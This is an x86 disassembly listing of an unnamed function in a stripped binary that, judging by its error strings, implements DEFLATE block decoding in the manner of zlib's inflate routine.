08069168   e9 51 0a 00 00              jmp     08069bbe <Unknown0437+0xabe>  ;2641 'x51 xa x0 x0' "Q"
0806916d   8d 76 00                    lea     0x0(%esi),%esi
08069170   8b 5d 08                    mov     0x8(%ebp),%ebx
08069173   8b 45 0c                    mov     0xc(%ebp),%eax
08069176   c7 03 09 00 00 00           movl    $0x9,(%ebx)       ;9 'x9 x0 x0 x0' ""
0806917c   89 7b 20                    mov     %edi,0x20(%ebx)
0806917f   89 73 1c                    mov     %esi,0x1c(%ebx)
08069182   c7 40 18 33 69 07 08        movl    $0x8076933,0x18(%eax)  ;[in .rodata] 1635151465 'x69 x6e x76 x61'
```

"invalid stored
block lengths"

```
08069189   8b 55 cc               mov     0xffffffcc(%ebp),%edx
0806918c   89 50 04               mov     %edx,0x4(%eax)
0806918f   8b 4d 0c               mov     0xc(%ebp),%ecx
08069192   8b 45 d0               mov     0xffffffd0(%ebp),%eax
08069195   2b 01                  sub     (%ecx),%eax
08069197   01 41 08               add     %eax,0x8(%ecx)
0806919a   8b 5d d0               mov     0xffffffd0(%ebp),%ebx
0806919d   89 19                  mov     %ebx,(%ecx)
0806919f   8b 45 08               mov     0x8(%ebp),%eax
080691a2   8b 55 c8               mov     0xffffffc8(%ebp),%edx
080691a5   89 50 30               mov     %edx,0x30(%eax)
080691a8   57                     push    %edi
080691a9   6a fd                  push    $0xfffffffd
080691ab   e9 ba 0b 00 00         jmp     08069d6a <Unknown0437+0xc6a>   ;3002 'xba xb x0 x0' ""
080691b0   8b 4d 08               mov     0x8(%ebp),%ecx
080691b3   8b 5d 0c               mov     0xc(%ebp),%ebx
080691b6   89 71 1c               mov     %esi,0x1c(%ecx)
080691b9   89 79 20               mov     %edi,0x20(%ecx)
080691bc   c7 43 04 00 00 00 00   movl    $0x0,0x4(%ebx)   ;0 'x0 x0 x0 x0' ""
080691c3   8b 45 d0               mov     0xffffffd0(%ebp),%eax
080691c6   2b 03                  sub     (%ebx),%eax
080691c8   01 43 08               add     %eax,0x8(%ebx)
080691cb   8b 45 d0               mov     0xffffffd0(%ebp),%eax
080691ce   89 03                  mov     %eax,(%ebx)
080691d0   8b 55 c8               mov     0xffffffc8(%ebp),%edx
080691d3   89 51 30               mov     %edx,0x30(%ecx)
080691d6   56                     push    %esi
080691d7   ff 75 10               pushl   0x10(%ebp)
080691da   53                     push    %ebx
080691db   e9 bf 0b 00 00         jmp     08069d9f <Unknown0437+0xc9f>   ;3007 'xbf xb x0 x0' ""
080691e0   8b 4d 08               mov     0x8(%ebp),%ecx
080691e3   89 79 20               mov     %edi,0x20(%ecx)
080691e6   89 71 1c               mov     %esi,0x1c(%ecx)
080691e9   8b 5d 0c               mov     0xc(%ebp),%ebx
080691ec   8b 45 cc               mov     0xffffffcc(%ebp),%eax
080691ef   89 43 04               mov     %eax,0x4(%ebx)
080691f2   8b 45 d0               mov     0xffffffd0(%ebp),%eax
080691f5   2b 03                  sub     (%ebx),%eax
080691f7   01 43 08               add     %eax,0x8(%ebx)
080691fa   8b 55 d0               mov     0xffffffd0(%ebp),%edx
080691fd   89 13                  mov     %edx,(%ebx)
080691ff   8b 5d c8               mov     0xffffffc8(%ebp),%ebx
08069202   89 59 30               mov     %ebx,0x30(%ecx)
08069205   53                     push    %ebx
08069206   ff 75 10               pushl   0x10(%ebp)
08069209   e9 8e 0b 00 00         jmp     08069d9c <Unknown0437+0xc9c>   ;2958 'x8e xb x0 x0' ""
0806920e   89 f6                  mov     %esi,%esi
08069210   8b 45 08               mov     0x8(%ebp),%eax
08069213   89 78 20               mov     %edi,0x20(%eax)
08069216   89 70 1c               mov     %esi,0x1c(%eax)
08069219   8b 55 0c               mov     0xc(%ebp),%edx
0806921c   8b 4d cc               mov     0xffffffcc(%ebp),%ecx
0806921f   89 4a 04               mov     %ecx,0x4(%edx)
08069222   8b 45 d0               mov     0xffffffd0(%ebp),%eax
08069225   2b 02                  sub     (%edx),%eax
08069227   01 42 08               add     %eax,0x8(%edx)
0806922a   8b 5d d0               mov     0xffffffd0(%ebp),%ebx
0806922d   89 1a                  mov     %ebx,(%edx)
0806922f   8b 55 c8               mov     0xffffffc8(%ebp),%edx
08069232   8b 45 08               mov     0x8(%ebp),%eax
08069235   89 50 30               mov     %edx,0x30(%eax)
08069238   52                     push    %edx
08069239   6a fc                  push    $0xfffffffc
0806923b   ff 75 0c               pushl   0xc(%ebp)
0806923e   e9 28 0b 00 00         jmp     08069d6b <Unknown0437+0xc6b>   ;2856 'x28 xb x0 x0' "("
08069243   90                     nop
08069244   83 ec 08               sub     $0x8,%esp
08069247   ff 75 0c               pushl   0xc(%ebp)
0806924a   ff 75 e0               pushl   0xffffffe0(%ebp)
0806924d   e8 02 15 00 00         call    0806a754 <Unknown0445>
08069252   5b                     pop     %ebx
08069253   58                     pop     %eax
08069254   ff 75 0c               pushl   0xc(%ebp)
08069257   ff 75 dc               pushl   0xffffffdc(%ebp)
0806925a   e8 f5 14 00 00         call    0806a754 <Unknown0445>
0806925f   8b 4d 08               mov     0x8(%ebp),%ecx
08069262   89 79 20               mov     %edi,0x20(%ecx)
08069265   89 71 1c               mov     %esi,0x1c(%ecx)
08069268   8b 5d 0c               mov     0xc(%ebp),%ebx
0806926b   8b 45 cc               mov     0xffffffcc(%ebp),%eax
0806926e   89 43 04               mov     %eax,0x4(%ebx)
```

```
08069271  8b 45 d0              mov     0xffffffd0(%ebp),%eax
08069274  2b 03                 sub     (%ebx),%eax
08069276  01 43 08              add     %eax,0x8(%ebx)
08069279  8b 55 d0              mov     0xffffffd0(%ebp),%edx
0806927c  89 13                 mov     %edx,(%ebx)
0806927e  83 c4 0c              add     $0xc,%esp
08069281  8b 5d c8              mov     0xffffffc8(%ebp),%ebx
08069284  89 59 30              mov     %ebx,0x30(%ecx)
08069287  6a fc                 push    $0xfffffffc
08069289  e9 0e 0b 00 00        jmp     08069d9c <Unknown0437+0xc9c>  ;2830 'xe xb x0 x0' ""
0806928e  89 f6                 mov     %esi,%esi
08069290  51                    push    %ecx
08069291  ff 75 10              pushl   0x10(%ebp)
08069294  ff 75 0c              pushl   0xc(%ebp)
08069297  ff 75 08              pushl   0x8(%ebp)
0806929a  e8 01 1d 00 00        call    0806afa0 <Unknown0449>
0806929f  e9 38 0b 00 00        jmp     08069ddc <Unknown0437+0xcdc>  ;2872 'x38 xb x0 x0' "8"
080692a4  8b 45 08              mov     0x8(%ebp),%eax
080692a7  89 78 20              mov     %edi,0x20(%eax)
080692aa  89 70 1c              mov     %esi,0x1c(%eax)
080692ad  8b 55 0c              mov     0xc(%ebp),%edx
080692b0  8b 4d cc              mov     0xffffffcc(%ebp),%ecx
080692b3  89 4a 04              mov     %ecx,0x4(%edx)
080692b6  8b 45 d0              mov     0xffffffd0(%ebp),%eax
080692b9  2b 02                 sub     (%edx),%eax
080692bb  01 42 08              add     %eax,0x8(%edx)
080692be  8b 5d d0              mov     0xffffffd0(%ebp),%ebx
080692c1  89 1a                 mov     %ebx,(%edx)
080692c3  8b 55 c8              mov     0xffffffc8(%ebp),%edx
080692c6  8b 45 08              mov     0x8(%ebp),%eax
080692c9  89 50 30              mov     %edx,0x30(%eax)
080692cc  52                    push    %edx
080692cd  ff 75 10              pushl   0x10(%ebp)
080692d0  ff 75 0c              pushl   0xc(%ebp)
080692d3  e9 93 0a 00 00        jmp     08069d6b <Unknown0437+0xc6b>  ;2707 'x93 xa x0 x0' ""
080692d8  8b 45 08              mov     0x8(%ebp),%eax
080692db  8b 40 28              mov     0x28(%eax),%eax
080692de  8b 55 c8              mov     0xffffffc8(%ebp),%edx
080692e1  29 d0                 sub     %edx,%eax
080692e3  89 45 c4              mov     %eax,0xffffffc4(%ebp)
080692e6  89 f6                 mov     %esi,%esi
080692e8  8b 4d 08              mov     0x8(%ebp),%ecx
080692eb  8b 01                 mov     (%ecx),%eax
080692ed  83 f8 09              cmp     $0x9,%eax
080692f0  0f 87 b2 0a 00 00     ja      08069da8 <Unknown0437+0xca8>  ;2738 'xb2 xa x0 x0' ""
080692f6  ff 24 85 a0 69 07 08  jmp     *0x80769a0(,%eax,4)  ;[in .rodata] 134648576 'x0 x93 x6 x8' ""
080692fd  8d 76 00              lea     0x0(%esi),%esi
08069300  83 fe 02              cmp     $0x2,%esi
08069303  77 6a                 ja      0806936f <Unknown0437+0x26f>
08069305  8d 76 00              lea     0x0(%esi),%esi
08069308  8b 45 cc              mov     0xffffffcc(%ebp),%eax
0806930b  85 c0                 test    %eax,%eax
0806930d  74 09                 je      08069318 <Unknown0437+0x218>
0806930f  c7 45 10 00 00 00 00  movl    $0x0,0x10(%ebp)  ;0 'x0 x0 x0 x0' ""
08069316  eb 3c                 jmp     08069354 <Unknown0437+0x254>
08069318  8b 5d 08              mov     0x8(%ebp),%ebx
0806931b  8b 45 0c              mov     0xc(%ebp),%eax
0806931e  89 73 1c              mov     %esi,0x1c(%ebx)
08069321  89 7b 20              mov     %edi,0x20(%ebx)
08069324  c7 40 04 00 00 00 00  movl    $0x0,0x4(%eax)  ;0 'x0 x0 x0 x0' ""
0806932b  8b 55 0c              mov     0xc(%ebp),%edx
0806932e  8b 45 d0              mov     0xffffffd0(%ebp),%eax
08069331  2b 02                 sub     (%edx),%eax
08069333  01 42 08              add     %eax,0x8(%edx)
08069336  8b 4d d0              mov     0xffffffd0(%ebp),%ecx
08069339  89 0a                 mov     %ecx,(%edx)
0806933b  8b 45 c8              mov     0xffffffc8(%ebp),%eax
0806933e  89 43 30              mov     %eax,0x30(%ebx)
08069341  56                    push    %esi
08069342  ff 75 10              pushl   0x10(%ebp)
08069345  52                    push    %edx
08069346  53                    push    %ebx
08069347  e8 54 1c 00 00        call    0806afa0 <Unknown0449>
0806934c  e9 8b 0a 00 00        jmp     08069ddc <Unknown0437+0xcdc>  ;2699 'x8b xa x0 x0' ""
08069351  8d 76 00              lea     0x0(%esi),%esi
08069354  8b 55 d0              mov     0xffffffd0(%ebp),%edx
08069357  ff 4d cc              decl    0xffffffcc(%ebp)
0806935a  0f b6 02              movzbl  (%edx),%eax
0806935d  89 f1                 mov     %esi,%ecx
0806935f  d3 e0                 shl     %cl,%eax
08069361  83 c6 08              add     $0x8,%esi
08069364  42                    inc     %edx
08069365  09 c7                 or      %eax,%edi
08069367  83 fe 02              cmp     $0x2,%esi
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0806936a   89 55 d0               mov     %edx,0xffffffd0(%ebp)
0806936d   76 99                  jbe     08069308 <Unknown0437+0x208>
0806936f   89 fa                  mov     %edi,%edx
08069371   83 e2 07               and     $0x7,%edx
08069374   89 f8                  mov     %edi,%eax
08069376   d1 ea                  shr     %edx
08069378   83 e0 01               and     $0x1,%eax
0806937b   8b 5d 08               mov     0x8(%ebp),%ebx
0806937e   83 fa 01               cmp     $0x1,%edx
08069381   89 43 18               mov     %eax,0x18(%ebx)
08069384   74 3e                  je      080693c4 <Unknown0437+0x2c4>
08069386   83 fa 01               cmp     $0x1,%edx
08069389   72 19                  jb      080693a4 <Unknown0437+0x2a4>
0806938b   83 fa 02               cmp     $0x2,%edx
0806938e   0f 84 8c 00 00 00      je      08069420 <Unknown0437+0x320>  ;140 'x8c x0 x0 x0' ""
08069394   83 fa 03               cmp     $0x3,%edx
08069397   0f 84 97 00 00 00      je      08069434 <Unknown0437+0x334>  ;151 'x97 x0 x0 x0' ""
0806939d   e9 46 ff ff ff         jmp     080692e8 <Unknown0437+0x1e8>  ;-186 'x46 xff xff xff' "F"
080693a2   89 f6                  mov     %esi,%esi
080693a4   83 ee 03               sub     $0x3,%esi
080693a7   89 f3                  mov     %esi,%ebx
080693a9   83 e3 07               and     $0x7,%ebx
080693ac   88 d9                  mov     %bl,%cl
080693ae   c1 ef 03               shr     $0x3,%edi
080693b1   29 de                  sub     %ebx,%esi
080693b3   8b 5d 08               mov     0x8(%ebp),%ebx
080693b6   d3 ef                  shr     %cl,%edi
080693b8   c7 03 01 00 00 00      movl    $0x1,(%ebx)   ;1 'x1 x0 x0 x0' ""
080693be   e9 25 ff ff ff         jmp     080692e8 <Unknown0437+0x1e8>  ;-219 'x25 xff xff xff' "%"
080693c3   90                     nop
080693c4   8d 45 f0               lea     0xfffffff0(%ebp),%eax
080693c7   50                     push    %eax
080693c8   8d 45 ec               lea     0xffffffec(%ebp),%eax
080693cb   50                     push    %eax
080693cc   8d 45 e8               lea     0xffffffe8(%ebp),%eax
080693cf   50                     push    %eax
080693d0   8d 45 e4               lea     0xffffffe4(%ebp),%eax
080693d3   50                     push    %eax
080693d4   e8 07 12 00 00         call    0806a5e0 <Unknown0444>
080693d9   59                     pop     %ecx
080693da   ff 75 0c               pushl   0xc(%ebp)
080693dd   ff 75 f0               pushl   0xfffffff0(%ebp)
080693e0   ff 75 ec               pushl   0xffffffec(%ebp)
080693e3   ff 75 e8               pushl   0xffffffe8(%ebp)
080693e6   ff 75 e4               pushl   0xffffffe4(%ebp)
080693e9   e8 ae 13 00 00         call    0806a79c <Unknown0446>
080693ee   83 c4 20               add     $0x20,%esp
080693f1   8b 55 08               mov     0x8(%ebp),%edx
080693f4   85 c0                  test    %eax,%eax
080693f6   89 42 0c               mov     %eax,0xc(%edx)
080693f9   0f 84 41 fd ff ff      je      08069140 <Unknown0437+0x40>   ;-703 'x41 xfd xff xff' "A"
080693ff   c7 42 04 00 00 00 00   movl    $0x0,0x4(%edx)  ;0 'x0 x0 x0 x0' ""
08069406   c7 42 08 00 00 00 00   movl    $0x0,0x8(%edx)  ;0 'x0 x0 x0 x0' ""
0806940d   c1 ef 03               shr     $0x3,%edi
08069410   83 ee 03               sub     $0x3,%esi
08069413   c7 02 06 00 00 00      movl    $0x6,(%edx)   ;6 'x6 x0 x0 x0' ""
08069419   e9 ca fe ff ff         jmp     080692e8 <Unknown0437+0x1e8>  ;-310 'xca xfe xff xff' ""
0806941e   89 f6                  mov     %esi,%esi
08069420   8b 4d 08               mov     0x8(%ebp),%ecx
08069423   c1 ef 03               shr     $0x3,%edi
08069426   83 ee 03               sub     $0x3,%esi
08069429   c7 01 03 00 00 00      movl    $0x3,(%ecx)   ;3 'x3 x0 x0 x0' ""
0806942f   e9 b4 fe ff ff         jmp     080692e8 <Unknown0437+0x1e8>  ;-332 'xb4 xfe xff xff' ""
08069434   8b 5d 08               mov     0x8(%ebp),%ebx
08069437   8b 45 0c               mov     0xc(%ebp),%eax
0806943a   c1 ef 03               shr     $0x3,%edi
0806943d   83 ee 03               sub     $0x3,%esi
08069440   89 7b 20               mov     %edi,0x20(%ebx)
08069443   89 73 1c               mov     %esi,0x1c(%ebx)
08069446   c7 03 09 00 00 00      movl    $0x9,(%ebx)   ;9 'x9 x0 x0 x0' ""
0806944c   c7 40 18 20 69 07 08   movl    $0x8076920,0x18(%eax)  ;[in .rodata] 1635151465 'x69 x6e x76 x61'
                                                                   "invalid block type"
08069453   8b 55 cc               mov     0xffffffcc(%ebp),%edx
08069456   89 50 04               mov     %edx,0x4(%eax)
08069459   8b 4d 0c               mov     0xc(%ebp),%ecx
0806945c   8b 45 d0               mov     0xffffffd0(%ebp),%eax
0806945f   2b 01                  sub     (%ecx),%eax
08069461   01 41 08               add     %eax,0x8(%ecx)
08069464   8b 5d d0               mov     0xffffffd0(%ebp),%ebx
08069467   89 19                  mov     %ebx,(%ecx)
08069469   8b 55 c8               mov     0xffffffc8(%ebp),%edx
0806946c   8b 45 08               mov     0x8(%ebp),%eax
0806946f   89 50 30               mov     %edx,0x30(%eax)
08069472   52                     push    %edx
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08069473   6a fd                  push    $0xfffffffd
08069475   e9 f0 08 00 00         jmp     08069d6a <Unknown0437+0xc6a>  ;2288 'xf0 x8 x0 x0' ""
0806947a   89 f6                  mov     %esi,%esi
0806947c   8b 45 cc               mov     0xffffffcc(%ebp),%eax
0806947f   85 c0                  test    %eax,%eax
08069481   74 09                  je      0806948c <Unknown0437+0x38c>
08069483   c7 45 10 00 00 00 00   movl    $0x0,0x10(%ebp)  ;0 'x0 x0 x0 x0' ""
0806948a   eb 30                  jmp     080694bc <Unknown0437+0x3bc>
0806948c   8b 4d 08               mov     0x8(%ebp),%ecx
0806948f   8b 5d 0c               mov     0xc(%ebp),%ebx
08069492   89 71 1c               mov     %esi,0x1c(%ecx)
08069495   89 79 20               mov     %edi,0x20(%ecx)
08069498   c7 43 04 00 00 00 00   movl    $0x0,0x4(%ebx)  ;0 'x0 x0 x0 x0' ""
0806949f   8b 45 d0               mov     0xffffffd0(%ebp),%eax
080694a2   2b 03                  sub     (%ebx),%eax
080694a4   01 43 08               add     %eax,0x8(%ebx)
080694a7   8b 45 d0               mov     0xffffffd0(%ebp),%eax
080694aa   89 03                  mov     %eax,(%ebx)
080694ac   8b 55 c8               mov     0xffffffc8(%ebp),%edx
080694af   89 51 30               mov     %edx,0x30(%ecx)
080694b2   56                     push    %esi
080694b3   ff 75 10               pushl   0x10(%ebp)
080694b6   53                     push    %ebx
080694b7   e9 e3 08 00 00         jmp     08069d9f <Unknown0437+0xc9f>  ;2275 'xe3 x8 x0 x0' ""
080694bc   8b 4d d0               mov     0xffffffd0(%ebp),%ecx
080694bf   ff 4d cc               decl    0xffffffcc(%ebp)
080694c2   0f b6 01               movzbl  (%ecx),%eax
080694c5   89 f1                  mov     %esi,%ecx
080694c7   d3 e0                  shl     %cl,%eax
080694c9   83 c6 08               add     $0x8,%esi
080694cc   09 c7                  or      %eax,%edi
080694ce   ff 45 d0               incl    0xffffffd0(%ebp)
080694d1   83 fe 1f               cmp     $0x1f,%esi
080694d4   76 a6                  jbe     0806947c <Unknown0437+0x37c>
080694d6   89 fa                  mov     %edi,%edx
080694d8   f7 d2                  not     %edx
080694da   89 f8                  mov     %edi,%eax
080694dc   c1 ea 10               shr     $0x10,%edx
080694df   25 ff ff 00 00         and     $0xffff,%eax  ;65535 'xff xff x0 x0' ""
080694e4   39 c2                  cmp     %eax,%edx
080694e6   0f 85 84 fc ff ff      jne     08069170 <Unknown0437+0x70>  ;-892 'x84 xfc xff xff' ""
080694ec   8b 5d 08               mov     0x8(%ebp),%ebx
080694ef   31 f6                  xor     %esi,%esi
080694f1   31 ff                  xor     %edi,%edi
080694f3   85 d2                  test    %edx,%edx
080694f5   89 53 04               mov     %edx,0x4(%ebx)
080694f8   75 16                  jne     08069510 <Unknown0437+0x410>
080694fa   8b 4b 18               mov     0x18(%ebx),%ecx
080694fd   31 c0                  xor     %eax,%eax
080694ff   85 c9                  test    %ecx,%ecx
08069501   0f 95 c0               setne   %al
08069504   48                     dec     %eax
08069505   83 e0 f9               and     $0xfffffff9,%eax
08069508   83 c0 07               add     $0x7,%eax
0806950b   eb 08                  jmp     08069515 <Unknown0437+0x415>
0806950d   8d 76 00               lea     0x0(%esi),%esi
08069510   b8 02 00 00 00         mov     $0x2,%eax  ;2 'x2 x0 x0 x0' ""
08069515   8b 55 08               mov     0x8(%ebp),%edx
08069518   89 02                  mov     %eax,(%edx)
0806951a   e9 c9 fd ff ff         jmp     080692e8 <Unknown0437+0x1e8>  ;-567 'xc9 xfd xff xff' ""
0806951f   90                     nop
08069520   8b 55 cc               mov     0xffffffcc(%ebp),%edx
08069523   85 d2                  test    %edx,%edx
08069525   0f 84 85 fc ff ff      je      080691b0 <Unknown0437+0xb0>  ;-891 'x85 xfc xff xff' ""
0806952b   8b 45 c4               mov     0xffffffc4(%ebp),%eax
0806952e   85 c0                  test    %eax,%eax
08069530   0f 85 b7 00 00 00      jne     080695ed <Unknown0437+0x4ed>  ;183 'xb7 x0 x0 x0' ""
08069536   8b 5d 08               mov     0x8(%ebp),%ebx
08069539   8b 4b 28               mov     0x28(%ebx),%ecx
0806953c   39 4d c8               cmp     %ecx,0xffffffc8(%ebp)
0806953f   75 21                  jne     08069562 <Unknown0437+0x462>
08069541   8b 43 2c               mov     0x2c(%ebx),%eax
08069544   8b 53 24               mov     0x24(%ebx),%edx
08069547   39 d0                  cmp     %edx,%eax
08069549   74 17                  je      08069562 <Unknown0437+0x462>
0806954b   39 c2                  cmp     %eax,%edx
0806954d   89 55 c8               mov     %edx,0xffffffc8(%ebp)
08069550   73 0a                  jae     0806955c <Unknown0437+0x45c>
08069552   29 d0                  sub     %edx,%eax
08069554   48                     dec     %eax
08069555   89 45 c4               mov     %eax,0xffffffc4(%ebp)
08069558   eb 08                  jmp     08069562 <Unknown0437+0x462>
0806955a   89 f6                  mov     %esi,%esi
0806955c   2b 4d c8               sub     0xffffffc8(%ebp),%ecx
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0806955f  89 4d c4            mov     %ecx,0xffffffc4(%ebp)
08069562  8b 5d c4            mov     0xffffffc4(%ebp),%ebx
08069565  85 db               test    %ebx,%ebx
08069567  0f 85 80 00 00 00   jne     080695ed <Unknown0437+0x4ed>  ;128 'x80 x0 x0 x0' ""
0806956d  8b 55 c8            mov     0xffffffc8(%ebp),%edx
08069570  8b 45 08            mov     0x8(%ebp),%eax
08069573  89 50 30            mov     %edx,0x30(%eax)
08069576  51                  push    %ecx
08069577  ff 75 10            pushl   0x10(%ebp)
0806957a  ff 75 0c            pushl   0xc(%ebp)
0806957d  50                  push    %eax
0806957e  e8 1d 1a 00 00      call    0806afa0 <Unknown0449>
08069583  89 45 10            mov     %eax,0x10(%ebp)
08069586  8b 45 08            mov     0x8(%ebp),%eax
08069589  8b 40 30            mov     0x30(%eax),%eax
0806958c  89 45 c8            mov     %eax,0xffffffc8(%ebp)
0806958f  8b 4d 08            mov     0x8(%ebp),%ecx
08069592  8b 51 2c            mov     0x2c(%ecx),%edx
08069595  83 c4 10            add     $0x10,%esp
08069598  39 d0               cmp     %edx,%eax
0806959a  73 10               jae     080695ac <Unknown0437+0x4ac>
0806959c  89 d0               mov     %edx,%eax
0806959e  2b 45 c8            sub     0xffffffc8(%ebp),%eax
080695a1  48                  dec     %eax
080695a2  89 45 c4            mov     %eax,0xffffffc4(%ebp)
080695a5  8b 49 28            mov     0x28(%ecx),%ecx
080695a8  eb 11               jmp     080695bb <Unknown0437+0x4bb>
080695aa  89 f6               mov     %esi,%esi
080695ac  8b 5d 08            mov     0x8(%ebp),%ebx
080695af  8b 4b 28            mov     0x28(%ebx),%ecx
080695b2  89 4d c4            mov     %ecx,0xffffffc4(%ebp)
080695b5  8b 45 c8            mov     0xffffffc8(%ebp),%eax
080695b8  29 45 c4            sub     %eax,0xffffffc4(%ebp)
080695bb  39 4d c8            cmp     %ecx,0xffffffc8(%ebp)
080695be  75 22               jne     080695e2 <Unknown0437+0x4e2>
080695c0  8b 5d 08            mov     0x8(%ebp),%ebx
080695c3  8b 43 24            mov     0x24(%ebx),%eax
080695c6  39 c2               cmp     %eax,%edx
080695c8  74 18               je      080695e2 <Unknown0437+0x4e2>
080695ca  39 d0               cmp     %edx,%eax
080695cc  89 45 c8            mov     %eax,0xffffffc8(%ebp)
080695cf  73 0b               jae     080695dc <Unknown0437+0x4dc>
080695d1  29 c2               sub     %eax,%edx
080695d3  4a                  dec     %edx
080695d4  89 55 c4            mov     %edx,0xffffffc4(%ebp)
080695d7  eb 09               jmp     080695e2 <Unknown0437+0x4e2>
080695d9  8d 76 00            lea     0x0(%esi),%esi
080695dc  2b 4d c8            sub     0xffffffc8(%ebp),%ecx
080695df  89 4d c4            mov     %ecx,0xffffffc4(%ebp)
080695e2  8b 55 c4            mov     0xffffffc4(%ebp),%edx
080695e5  85 d2               test    %edx,%edx
080695e7  0f 84 f3 fb ff ff   je      080691e0 <Unknown0437+0xe0>  ;-1037 'xf3 xfb xff xff' ""
080695ed  8b 45 08            mov     0x8(%ebp),%eax
080695f0  8b 58 04            mov     0x4(%eax),%ebx
080695f3  3b 5d cc            cmp     0xffffffcc(%ebp),%ebx
080695f6  c7 45 10 00 00 00 00 movl   $0x0,0x10(%ebp)  ;0 'x0 x0 x0 x0' ""
080695fd  76 03               jbe     08069602 <Unknown0437+0x502>
080695ff  8b 5d cc            mov     0xffffffcc(%ebp),%ebx
08069602  3b 5d c4            cmp     0xffffffc4(%ebp),%ebx
08069605  76 03               jbe     0806960a <Unknown0437+0x50a>
08069607  8b 5d c4            mov     0xffffffc4(%ebp),%ebx
0806960a  50                  push    %eax
0806960b  53                  push    %ebx
0806960c  ff 75 d0            pushl   0xffffffd0(%ebp)
0806960f  ff 75 c8            pushl   0xffffffc8(%ebp)
08069612  e8 25 0c fe ff      call    0804a23c <memcpy>
08069617  01 5d d0            add     %ebx,0xffffffd0(%ebp)
0806961a  29 5d cc            sub     %ebx,0xffffffcc(%ebp)
0806961d  01 5d c8            add     %ebx,0xffffffc8(%ebp)
08069620  29 5d c4            sub     %ebx,0xffffffc4(%ebp)
08069623  8b 55 08            mov     0x8(%ebp),%edx
08069626  8b 42 04            mov     0x4(%edx),%eax
08069629  29 d8               sub     %ebx,%eax
0806962b  83 c4 10            add     $0x10,%esp
0806962e  85 c0               test    %eax,%eax
08069630  89 42 04            mov     %eax,0x4(%edx)
08069633  0f 85 af fc ff ff   jne     080692e8 <Unknown0437+0x1e8>  ;-849 'xaf xfc xff xff' ""
08069639  8b 4a 18            mov     0x18(%edx),%ecx
0806963c  31 c0               xor     %eax,%eax
0806963e  85 c9               test    %ecx,%ecx
08069640  0f 95 c0            setne   %al
08069643  48                  dec     %eax
08069644  83 e0 f9            and     $0xfffffff9,%eax
08069647  83 c0 07            add     $0x7,%eax
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0806964a  89 02                 mov     %eax,(%edx)
0806964c  e9 97 fc ff ff        jmp     080692e8 <Unknown0437+0x1e8>  ;-873 'x97 xfc xff xff' ""
08069651  8d 76 00              lea     0x0(%esi),%esi
08069654  8b 45 cc              mov     0xffffffcc(%ebp),%eax
08069657  85 c0                 test    %eax,%eax
08069659  74 09                 je      08069664 <Unknown0437+0x564>
0806965b  c7 45 10 00 00 00 00  movl    $0x0,0x10(%ebp)  ;0 'x0 x0 x0 x0' ""
08069662  eb 30                 jmp     08069694 <Unknown0437+0x594>
08069664  8b 4d 08              mov     0x8(%ebp),%ecx
08069667  8b 5d 0c              mov     0xc(%ebp),%ebx
0806966a  89 71 1c              mov     %esi,0x1c(%ecx)
0806966d  89 79 20              mov     %edi,0x20(%ecx)
08069670  c7 43 04 00 00 00 00  movl    $0x0,0x4(%ebx)  ;0 'x0 x0 x0 x0' ""
08069677  8b 45 d0              mov     0xffffffd0(%ebp),%eax
0806967a  2b 03                 sub     (%ebx),%eax
0806967c  01 43 08              add     %eax,0x8(%ebx)
0806967f  8b 45 d0              mov     0xffffffd0(%ebp),%eax
08069682  89 03                 mov     %eax,(%ebx)
08069684  8b 55 c8              mov     0xffffffc8(%ebp),%edx
08069687  89 51 30              mov     %edx,0x30(%ecx)
0806968a  56                    push    %esi
0806968b  ff 75 10              pushl   0x10(%ebp)
0806968e  53                    push    %ebx
0806968f  e9 0b 07 00 00        jmp     08069d9f <Unknown0437+0xc9f>  ;1803 'xb x7 x0 x0' ""
08069694  8b 4d d0              mov     0xffffffd0(%ebp),%ecx
08069697  ff 4d cc              decl    0xffffffcc(%ebp)
0806969a  0f b6 01              movzbl  (%ecx),%eax
0806969d  89 f1                 mov     %esi,%ecx
0806969f  d3 e0                 shl     %cl,%eax
080696a1  83 c6 08              add     $0x8,%esi
080696a4  09 c7                 or      %eax,%edi
080696a6  ff 45 d0              incl    0xffffffd0(%ebp)
080696a9  83 fe 0d              cmp     $0xd,%esi
080696ac  76 a6                 jbe     08069654 <Unknown0437+0x554>
080696ae  89 fa                 mov     %edi,%edx
080696b0  89 fb                 mov     %edi,%ebx
080696b2  83 e2 1f              and     $0x1f,%edx
080696b5  81 e3 ff 3f 00 00     and     $0x3fff,%ebx  ;16383 'xff x3f x0 x0' ""
080696bb  8b 45 08              mov     0x8(%ebp),%eax
080696be  83 fa 1d              cmp     $0x1d,%edx
080696c1  89 58 04              mov     %ebx,0x4(%eax)
080696c4  77 0d                 ja      080696d3 <Unknown0437+0x5d3>
080696c6  89 d8                 mov     %ebx,%eax
080696c8  c1 e8 05              shr     $0x5,%eax
080696cb  83 e0 1f              and     $0x1f,%eax
080696ce  83 f8 1d              cmp     $0x1d,%eax
080696d1  76 3d                 jbe     08069710 <Unknown0437+0x610>
080696d3  8b 55 08              mov     0x8(%ebp),%edx
080696d6  8b 4d 0c              mov     0xc(%ebp),%ecx
080696d9  c7 02 09 00 00 00     movl    $0x9,(%edx)  ;9 'x9 x0 x0 x0' ""
080696df  89 7a 20              mov     %edi,0x20(%edx)
080696e2  89 72 1c              mov     %esi,0x1c(%edx)
080696e5  c7 41 18 60 69 07 08  movl    $0x8076960,0x18(%ecx)  ;[in .rodata] 544173940 'x74 x6f x6f x20'
                                                               "too many length or distance symbols"
080696ec  8b 5d cc              mov     0xffffffcc(%ebp),%ebx
080696ef  89 59 04              mov     %ebx,0x4(%ecx)
080696f2  8b 45 d0              mov     0xffffffd0(%ebp),%eax
080696f5  2b 01                 sub     (%ecx),%eax
080696f7  01 41 08              add     %eax,0x8(%ecx)
080696fa  8b 45 d0              mov     0xffffffd0(%ebp),%eax
080696fd  89 01                 mov     %eax,(%ecx)
080696ff  8b 4d c8              mov     0xffffffc8(%ebp),%ecx
08069702  89 4a 30              mov     %ecx,0x30(%edx)
08069705  51                    push    %ecx
08069706  6a fd                 push    $0xfffffffd
08069708  e9 b1 04 00 00        jmp     08069bbe <Unknown0437+0xabe>  ;1201 'xb1 x4 x0 x0' ""
0806970d  8d 76 00              lea     0x0(%esi),%esi
08069710  8d 9c 10 02 01 00 00  lea     0x102(%eax,%edx,1),%ebx  ;258 'x2 x1 x0 x0' ""
08069717  83 fb 12              cmp     $0x12,%ebx
0806971a  77 05                 ja      08069721 <Unknown0437+0x621>
0806971c  bb 13 00 00 00        mov     $0x13,%ebx  ;19 'x13 x0 x0 x0' ""
08069721  52                    push    %edx
08069722  6a 04                 push    $0x4
08069724  53                    push    %ebx
08069725  8b 5d 0c              mov     0xc(%ebp),%ebx
